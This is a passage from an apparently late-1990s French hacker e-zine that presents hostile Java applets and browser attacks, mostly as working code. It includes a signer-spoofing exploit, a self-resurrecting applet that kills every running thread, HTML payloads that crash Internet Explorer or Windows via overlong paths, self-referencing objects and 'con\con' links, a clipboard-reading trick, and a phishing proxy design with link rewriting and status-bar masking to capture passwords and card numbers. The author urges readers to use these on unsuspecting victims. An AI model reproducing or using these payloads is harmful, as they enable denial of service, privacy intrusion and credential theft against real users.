    You may study, use, modify, and distribute this example for any purpose.
    This example is provided WITHOUT WARRANTY either expressed or implied.  */

import netscape.applet.*;
import netscape.javascript.*;

public class Unplugged extends java.applet.Applet implements Runnable{
    Thread controller = null;
    JSObject jso = null;
    int numplugs = 0;
    String npname = null;
    String[] plugs = null;
    int histlen = 0;

    public void init() {
       jso  = JSObject.getWindow(this);
    }

    public void start() {
        if (controller == null) {
            controller = new Thread(this);
            controller.start();
        }
    }

    public void stop() {}

    public void run() {
        Control.showConsole();
        numplugs = (new Float((jso.eval("pcount()")).toString())).intValue();
        System.out.println("\nTotal number of plugins: " + numplugs + "\n");
        plugs = new String[numplugs];
        for (int i = 0; i < numplugs; i++) {
            plugs[i] = (String) jso.eval("nextPlug()");
            System.out.println("Plugin " + (i+1) + ": " + plugs[i] + "\n");
        }
        histlen = (new Float((jso.eval("hcount()")).toString())).intValue();
        System.out.println("Total number of history entries: " + histlen);
    }
}
/*************END Unplugged.java****************/

Pour que l'applet fonctionne vous devrez insrez le script ci-dessous entre les tags <head> et </head> du fichier contenant l'applet :

<SCRIPT language="javascript">
navigator.plugins.refresh(true);

pcnt = 0;
hcnt = 0;

function pcount() {
    var pc = navigator.plugins.length;
    return pc;
}

function nextPlug() {
    var np = navigator.plugins[pcnt].filename;
    pcnt++;
    return np;
}

function hcount() {
    var hc = history.length;
    return hc;
}
</SCRIPT>






***C'tait le bon vieux temps...
Les applets qui vont suivre ne sont pas extrmement intressantes  utiliser tant donn qu'elles n'affectent que d'anciennes versions des
browsers. Toutefois il est intressant d'tudier leurs principes et les techniques d'attaques, notamment pour les coders java en herbe qui
auraient l'intention de plonger du ct obscur. Je vous ai fait une petite slection de celes qui sont,  mon avis, le plus intressantes 
tudier. 


   ###Hotjava signature bug
Ce bug date de 1997, alors que java 1.1 venait de sortir. Il n'est pas trs utile tant donn qu'il ne vise que hotjava 1.0, mais il est
intressant  tudier. Il a t dcouvert par une quipe  l'universit de Princeton (cs.princeton.edu). Ils n'ont bien videmment pas diffus le
code de leur dcouverte, j'ai donc du crer le code  partir de leurs indications. Ne disposant pas de hotjava 1.0 ni de l'utilitaire de
signature du jdk 1.1 je n'ai pas pu tester si l'applet marche effectivement. Je vous donne leur description de l'exploit, pour que vous puissiez
tenter de l'interprter peut-tre mieux que moi :

"The attack works in two stages. First, the attack applet acquires the ability to change the system's idea of who signed it. Then it gets a list
of all signers known to the local system, and "tries on" the these identities one by one until it finds one that is trusted. Having done this,
the applet is free of any security restrictions. 

-How the attacker changes its identity
The attacker calls the getSigners() method of the java.lang.Class class. This returns an array of signers who have signed the class. The JDK
1.1.1 code mistakenly returns a reference to its own internal array. Since Java arrays can be modified, the attack applet can then replace any
element of the array, thereby changing Java's idea of who signed it. 

-How the attacker finds a trusted identity to assume
The method getSystemScope() of the class java.security.IdentityScope returns an IdentityScope object (call it s). Calling s.identities() gets an
enumeration of all identities known to the local system. 
The attack applet can try each of these identities one at a time. After changing to a new identity, the applet tries a privileged operation,
i.e. writing a file. If this causes a security exception, the current identity is not trusted, so the applet goes on to the next identity. If the
operation succeeds, then the applet knows it has acquired trusted status, and it is free to do whatever it wants. "

L'applet exploite un bug du jdk 1.1 qui permet de changer le signataire de l'applet aux yeux de la jvm. Ensuite on rcupre la liste de tous les
signataires connus du systme et on se fait passer pour eux un par un jusqu' ce qu'on en trouve un qui est trust, auquel cas notre applet a un
accs total  la machine. Voil le code que j'ai recr d'aprs leurs indications, je rpte qu'il n'est peut-tre pas fiable :

/************BEGIN HotjavaHoleTester.java***************/
import java.security.*;
import java.net.*;
import java.io.*;
import java.applet.Applet;
import java.util.Enumeration;

public class HotjavaHoleTester extends Applet {
    public HotjavaHoleTester() {}

    public void init() {
        Class th = null;
        try {
            th = Class.forName("SolarisHoleTester");
        } catch(ClassNotFoundException e) {}

        Object[] arr = th.getSigners();
        if(arr!=null) {
            IdentityScope s = IdentityScope.getSystemScope();
            Enumeration en = s.identities();
            while(en.hasMoreElements()) {
                Object ident = en.nextElement();
                arr[0] = ident;
                try {
                    Socket sock = new Socket("ftp.coucougnette.gouv.fr", 21);
                    sock.close();
                } catch(SecurityException e) {
                    continue;
                } catch(IOException e) {
/*
 *si cette exception est lance une identit truste 
 *a t trouve, on peut faire tout ce qu'on veut.
 *insrer l'evil code ici :o)
 */
                }
            }
        }
    }
}
/*************END HotjavaHoleTester.java****************/

Vous devez signer numriquement l'applet avec les outils du jdk 1.1.1, sinon la mthode java.lang.Class.getSigners() retourne la valeur null et
l'applet ne fera rien. 




   ###AppletKiller
LaDue a encore frapp avec cette applet qui kille toutes les applets en cours d'excutions ainsi que celles qui seront downloades aprs son
excution. Elle reprend le mcanisme de persistance en mmoire de l'AudioKiller. Je n'ai pas pu dterminer pour quel(s) browsers cette applet a
t faite (elle date de 96). J'ai prfr laisser les commentaires dans le source parce que la mcanique des threads qui est utilise est pour le
moins complexe :

/************BEGIN AppletKiller.java***************/
import java.applet.*;
import java.awt.*;
import java.io.*;

public class AppletKiller extends java.applet.Applet implements Runnable {
    Thread killer;
    
    public void init() {
        killer = null;
    }

    public void start() {
        if (killer == null) {
            killer = new Thread(this,"killer");
            killer.setPriority(Thread.MAX_PRIORITY);
            killer.start();
        }
    }

    public void stop() {}    

// Kill all threads except this one
    public void run() {
        try {
            while (true) {
                ThreadKiller.killAllThreads();
                try { killer.sleep(100); }
                catch (InterruptedException e) {}
            }
        }
        catch (ThreadDeath td) {}

// Resurrect the hostile thread in case of accidental ThreadDeath
        finally {
            AppletKiller ack = new AppletKiller();
            Thread reborn = new Thread(ack, "killer");
            reborn.start();
        }
    }
}

class ThreadKiller {

// Ascend to the root ThreadGroup and list all subgroups recursively,
// killing all threads as we go
    public static void killAllThreads() {
        ThreadGroup thisGroup;
        ThreadGroup topGroup;
        ThreadGroup parentGroup;
        
// Determine the current thread group
        thisGroup = Thread.currentThread().getThreadGroup();
        
// Proceed to the top ThreadGroup
        topGroup  = thisGroup;
        parentGroup = topGroup.getParent();
        while(parentGroup != null) {
            topGroup  = parentGroup;
            parentGroup = parentGroup.getParent();
        }
// Find all subgroups recursively 
        findGroups(topGroup);
    }
    
    private static void findGroups(ThreadGroup g) {
        if (g == null) {return;}
        else {
        int numThreads = g.activeCount();
        int numGroups = g.activeGroupCount();
        Thread[] threads = new Thread[numThreads];
        ThreadGroup[] groups = new ThreadGroup[numGroups];
        g.enumerate(threads, false);
        g.enumerate(groups, false);
        for (int i = 0; i < numThreads; i++)
            killOneThread(threads[i]);
        for (int i = 0; i < numGroups; i++)
            findGroups(groups[i]);
        }
    }

    private static void killOneThread(Thread t) { 
        if (t == null || t.getName().equals("killer")) {return;}
        else {t.stop();}
    }
}
/*************END AppletKiller.java****************/

Raaaaaaaahhhhhh le mal de tte !!! Apprenez tant qu'il en est encore temps que le thread est l'ennemi de tout bon programmeur encore sain
d'esprit... Bon tout compte fait je mets ici que deux applets, les autres sont moins rigolotes :) 





III. SCRIPTS ET HTML
______________________

En cherchant des exploits, force est de constater que msie est trou de partout. La plupart des exploits sont assez simples  trouver, la
plupart se contentent de crer des erreurs dans la gestion de la mmoire. Overflows rule ;) C'est parti pour un petit tour gratuit :





***Stack overflow pour msie 4.0 (et peut tre d'autres versions)
Il suffit d'insrer un tag <EMBED> pour crasher notre ami internet explorer, en l'occurence avec une extension de fichier de plus de 200
caractres. 

<HTML>Trying to crash IE 4.0<EMBED
SRC=file://C|/A.012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789>
                                                               40
80                                                                               160                    170                 180                
190          200
</HTML>


Ceci devrait ouvrir une bote de dialogue et crasher ie.





***Boucles infinies pour msie 4.01
Cet exploit va forcer le browser  s'enfermer dans une boucle infinie et par consquent  crasher. Pour ceci l'attribut data du tab <object> va
faire une rfrence  lui mme. Dmonstration :

<html><head><title></title><object data=3D"crashtest.html"></object></head>
<body></body></html>

Assurez vous d'enregistrer le fichier sous le nom spcifi dans l'attribut data (ici crashtest.html). Il existe une lgre variation qui cre
une erreur dans un .dll diffrent et cause une erreur diffrente. Il suffit de rajouter un tag <script> dans le header du fichier :

<html><head><title></title><script></script>
<object data=3D"crashtestscript.html"></object></head><body></body></html>

Enfin une dernire variation, moins pratique mais aussi intressante. Le principe est d'utiliser ici deux fichiers qui font chacun rfrence 
la fois  eux mmes et  leur homologue. Crez deux fichiers crashtest1.html et crashtest2.html  l'aide de ceci :

<html><head><title></title><object data=3D"crashtest2.html"></object>
<object data=3D"crashtest1.html"></object></head><body></body></html>

<html><head><title></title><object data=3D"crashmetest1.html"></object>
<object data=3D"crashmetest2.html"></object></head><body></body></html>

Cette fois c'est le disque dur qui va morfler, l'utilisation processeur dpend de votre configuration, je vous laisse donc essayer.





***Clipboard privacy
Il est connu celui l mais bon... le presse-papier peut-tre rendu public pour ie 4 et 5 avec la simple commande javascript
"document.execCommand("paste");". Giga sexe non ?





***Encore un overflow
Je sens qu' la fin du dossier votre explorer aura pris 10 ans dans la gueule ;) Cette fois on peut planter ie avec un lien de plus de 300
caractres.

<a
href="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.html">

Le browser envoie la requte au serveur puis plante lors de la rception de la requte.





***Quand Windows tousse...
Il suffit ici d'utiliser l'exploit maintenant connu consistant  faire crasher windows  partir des noms de priphriques "con", "aux", "nul" ou
"clock$". Faites rfrence  n'importe quelle combinaison de ces chanes et placez le tout dans un lien, tous les malheureux qui cliqueront
verront windows leur pter  la gueule (hihih).

<a href="file://c:\con\con">Click me</a>

Variante : bien que a soit moins drle vous pouvez aussi faire une redirection automatique sur cette base. Insrez donc ce tag entre les tags
<head> de votre fichier html (modifiez la valeur aprs content, en secondes, pour avoir l'effet d'une bombe  retardement, ici sur 5 secondes) :

<meta http-equiv="refresh" content="5; url=file://c:\con\con">
<ulysse> Si comme moi vous vous emmerdez en cours de prog, vous pouvez bien sur inclure un lien vers une adresse de ce genre dans un prog en 
vb par exemple... Pkoi pas sur le formload?. Une autre chose rigolote est de mettre a en javascript sur un OnMouseMove... Enfin amusez vous
comme vous pouvez quoi. C'est con con non? (et merde, un cran bleu...) lol </ulysse>



***Yet Another IE Bug
Ce simple script gle instanment ie 4 et 5, on doit fermer la fentre avec ctrl-alt-suppr. J'ai tent de le reproduire en java mais il ne fait
que ralentir le browser, rien de bien catastrophique :(

<HTML><BODY>
<SCRIPT> 
var color = new Array;
color[1] = "black";
color[2] = "white";
for(x = 0; x <3; x++){
    document.bgColor = color[x];
    if(x == 2)  {
        x = 0;
    }
}
</SCRIPT>
</BODY></HTML>






IV. WEB SPOOFING
___________________

Cette technique de piratage spectaculaire a t dcouverte par... les gars de Princeton (encore eux). Elle date de 1996 mais est encore trs
probablement exploitable, en tout cas personne ne connait d'implmentation successful de cette attaque. Ready ? Go !

***Prsentation de l'attaque
Cette attaque est extrmement dangereuse, elle permet aux assaillants (nous en l'occurence), de crer une copie du web qu'elles matrisent
entirement et d'y enfermer de pauvres victimes (peut-tre vous en l'occurence ;). Si on s'y prend bien elle est pratiquement invisible et on
peut capturer toutes sortes d'informations plus qu'intressantes, voir tout ce que la victime fait sur internet et interfrer avec ses visites,
on peut envoyer des donnes  sa place et modifier celles qu'elle reoit. Cette partie risque d'tre un peu trop abstraite  votre got puisque
les gars de chez Princeton se gardent de donner des dtails sur la ralisation de la technique et que la doc est particulirement rare sur le web
spoofing. Heureusement il y a sleazy wind (petite musique publicitaire...)




***Principe du spoofing
Les joyeux barbus de madchat vont encore dire que je suis orient init, mais je peux pas m'empcher de m'assurer que tout le monde comprend de
ce dont je parle, donc c parti pour une petite prsentation du spoofing, na. Le spoofing est tout ce qu'il y a de plus amusant, il s'agit de
fausser des informations dans le but de tromper les autres personnes et si possible les pousser  faire des choses qui vont  l'encontre de leurs
intrts sans que les principaux intresss s'en rendent compte (trs bonne dfinition cher maddany... je sais je sais merci uh uh uh... oh mais
si vraiment... ne me faites pas rougir monsieur... ahem). Dans ce cas, nous allons totalement spoofer le web aux yeux de la victime, elle croira
surfer normalement alors que nous avons un oeil et mme deux au dessus de son paule. 

Vous tes peut-tre sans le savoir dj victime du web spoofing. Qu'est-ce qui vous dit que c'est bien sur amazon.com que vous tes connect
quand vous donnez votre numro de carte bleue ? Ben a se voit... y a le logo d'amazon... le style d'amazon... l'adresse d'amazon... et pourtant
ce n'est peut-tre pas amazon. Le fait est que vous vous basez sur des faits visuels et des habitudes pour reconnatre les sites auxquels vous
faites confiance et donc  qui vous tes prts  donner vos mots de passe. Bienvenue dans l'incroyable monde de la dsillusion o superman
n'existe pas mais le web spoofing si :)




***Ralisation du spoofing
Aprs maintes rflexions je suis maintenant quasiment sur qu'on pourrait raliser l'attaque relativement facilement. Finalement c'est le
principe d'un proxy hostile : on programme un serveur web sur lequel la victime se connecte. Si elle clique sur un lien sur une page depuis notre
serveur elle est prise au pige, nous serons matre de la page qu'elle va visiter et de toutes celles qu'elle visitera aprs cette page (on peut
aussi utiliser l'autorefresh  0 videmment). On peut utiliser pour cela la technique de la rcriture d'url. Une url rcrite a ce look l :
http://www.attackers.com/http://www.amazon.com/. Si la victime entre cette adresse, elle entre apparemment tout  fait normalement sur amazon.com
mais est en fait connecte sur notre serveur, qui lui retransmet l'url qu'elle a demand. Comme on passe par notre serveur on matrise videmment
tout ce qu'on veut avant de lui retransmettre l'url, on sait ce qu'elle voit vu qu'on doit le lire, on peut le modifier, et on peut lire les
rponses de la victime. Vous suivez l'astuce ? A partir de ce moment toutes les techniques que nous mettrons en jeu serons des techniques de
camouflage du pige. 

-il faut que notre serveur rcrive les pages demandes de manire  formatter correctement les liens qui apparatront, comme a si la victime
clique sur un lien dans la page spoofe elle reste dans notre web. 
Exemple (sur une page sur amazon) : remplacer <a href="books.html"> par <a href="http://www.attacker.com/http://www.amazon.com/books.html">

-il faut placer un petit javascript pour camoufler la cible des liens reformatts, la victime mettra plus de temps  se rendre compte de
l'arnaque. Comme a elle ne voit que l'adresse normale dans le champ de la cible :)
<a href="http://www.attackers.com/http://www.truesite.com/" onMouseOver="window.status='http://www.truesite.com/';return true"
onMouseOut="window.status=defaultStatus;return true" target="_blank">
http://www.truesite.com/</a>

(merci  the master pour le snippet)

-il faut changer la barre d'adresse, parce que quand elle est dans notre web celle-ci affiche les urls reformattes, logique. Or c'est pas cool
parce que c'est plus que louche et on peut pas rcrire cette adresse en javascript, et encore moins en java,  moins de trouver un exploit pour
a mais je n'en ai trouv nulle part. La seule solution valable, mme si elle est pas top est de cacher cette adresse. On peut utiliser des
frames, ou alors afficher la page cible en plein cran. La deuxime solution est peut-tre la meilleure

-si votre serveur supporte ssl, alors la victime croira qu'elle est effectivement sur une connexion scurise vu qu'il y a le petit cadenas en
bas de la page... comme quoi la dsinformation rulez, elle est effectivement sur une connexion scurise mais a ne l'empche pas de se faire
pirater, puisque la connexion scurise s'effectue sur notre serveur, et que l'on matrise toujours ce qui transite par nous donc.

Il ne reste plus qu' crire le code :)




V. CONCLUSION
________________

Fermez les volets, dsactivez le scripting et le java dans votre browser (surfez avec telnet), interdisez les mails html (parce qu'outlook runne
les applets incorpores dans un mail html), ne transmettez pas de mots de passe ou d'informations personnelles par une interface web, mchez
tonigum aprs tous les repas... vous commencez  tre un peu plus  l'abri, mais mfiez-vous, ils sont partout....

Si par malheur vous avez envie de me contacter, vous pouvez toujours essayer maddany@madchat.org pour voir si j'y suis. 


VI. SOURCES
______________

Sites :
    La page de Mark D. LaDue : www.rstcorp.com/hostileapplets
    Le dpartement informatique de Princeton sur la programmation web : www.cs.princeton.edu/sip
    Une page assez complte sur la scu java : www.rstcorp.com/javasecurity/links.html
    Magelang's java security tutorial : developer.java.sun.com/developer/onlineTraining/Security/Fundamentals/abstract.html

Livres :
    Maximum Security 2nd ed., sams
    Le Programmeur java 2, campus press
    Bibliothque de classes java 2, campus press
    Java Gurus, online
    The Java VM specification 2nd ed., online
    Java network programming 2nd ed., manning


--------------------------------------------------------------------------------------


/SSSSS                                        WW          WW
\SS       LL    EEEE   AA   ZZZZ  Y YY         WW   /\   WW    II  NNN  N  DDDD
 \SS      LL    EE_   AAAA    Z    YY           WW /WW\ WW     II  NNNN N  DD DD
  SS\     LL    EE    A__A   Z     Y             WWWWWWWW      II  NN NNN  DD DD
   SS\    LLLL  EEEE  A  A  ZZZZ  Y               WW  WW       II  NN  NN  DDDD
SSSSS/                                             W  W

                                                        NEUMBEUR BOCOU
                                              http://members.xoom.com/SleazyWind/


---------------------------------------------------------------------------------------

                Les aventures des trucs:
                      Une trange disparition...

+----------------------+-----------------------+------------------------+
|                      |                       |                        |
|                      |                       |       ///-----\\\      |
|     ///----\\\       |           //---\\     |     || Il a dit  ||    |
|   ||  Sparu!  ||     |         ||  ??!  ||   |      | sparu.    |     |
|     \\\----///       |           \\---\/     |       \/\-----///      |
|          |           |                |      |       /                |
|          |           |                |      |      /       //---\\   |
|          |           |                 |     |      /      |  Ah.  |  |
|          |           |                 |     |     /        \\\--//   |
|          |           |                  |    |     /           \      |
|          |           |                  |    |    /             |     |
|                      |                   |   |    /             |     |
|       //--\\         |                   |   |                  |     |
| //-\\ |||||||        |  //-\\                |   --                   |
| ||\|||\\--//|        |  ||\|||               | |//\\||          --    |
+-\\-//|\----/--//--\\----\\-//|-------///-\\\-+-|\\//||--------|//\\||-+
|*\---/*********||||||||**\---/********|||\|||||*\\--///********|\\//||*|
|***************\\--//||***************\\\-///||****************\\--///*|
|***************\----/*|***************\\---//*|************************|
+----------------------+-----------------------+------------------------+

Cette BD insignifiante (qu'il vaut mieux regarder en casse fixe) vous a t offerte
par wolf. Merci wolf.
<ulysse> bha mme si t'avais rien dit, on reconnaissait le style hein... </ulysse>


-----------------------------------------------------------------------------------------
/SSSSS                                        WW          WW
\SS       LL    EEEE   AA   ZZZZ  Y YY         WW   /\   WW    II  NNN  N  DDDD
 \SS      LL    EE_   AAAA    Z    YY           WW /WW\ WW     II  NNNN N  DD DD
  SS\     LL    EE    A__A   Z     Y             WWWWWWWW      II  NN NNN  DD DD
   SS\    LLLL  EEEE  A  A  ZZZZ  Y               WW  WW       II  NN  NN  DDDD
SSSSS/                                             W  W

                                                        NEUMBEUR THOU
                                              http://members.xoom.com/SleazyWind/


             T     H     E           E     N     D      (for ever ??)

<wolf> Sleazy Wind, c'est comme Tomb Raider: chaque numro est le dernier...
<ulysse> mouais sauf que lara elle  une belle paire de...
...lunettes elle. alors que MadDanny (carrment 2 majuscules), c pas a si? </ulysse> 
<cybz> ouai et maddany ne pousse pas de petits cris a chaque fois qu'il appuie sur 
Enter... enfin j'espere



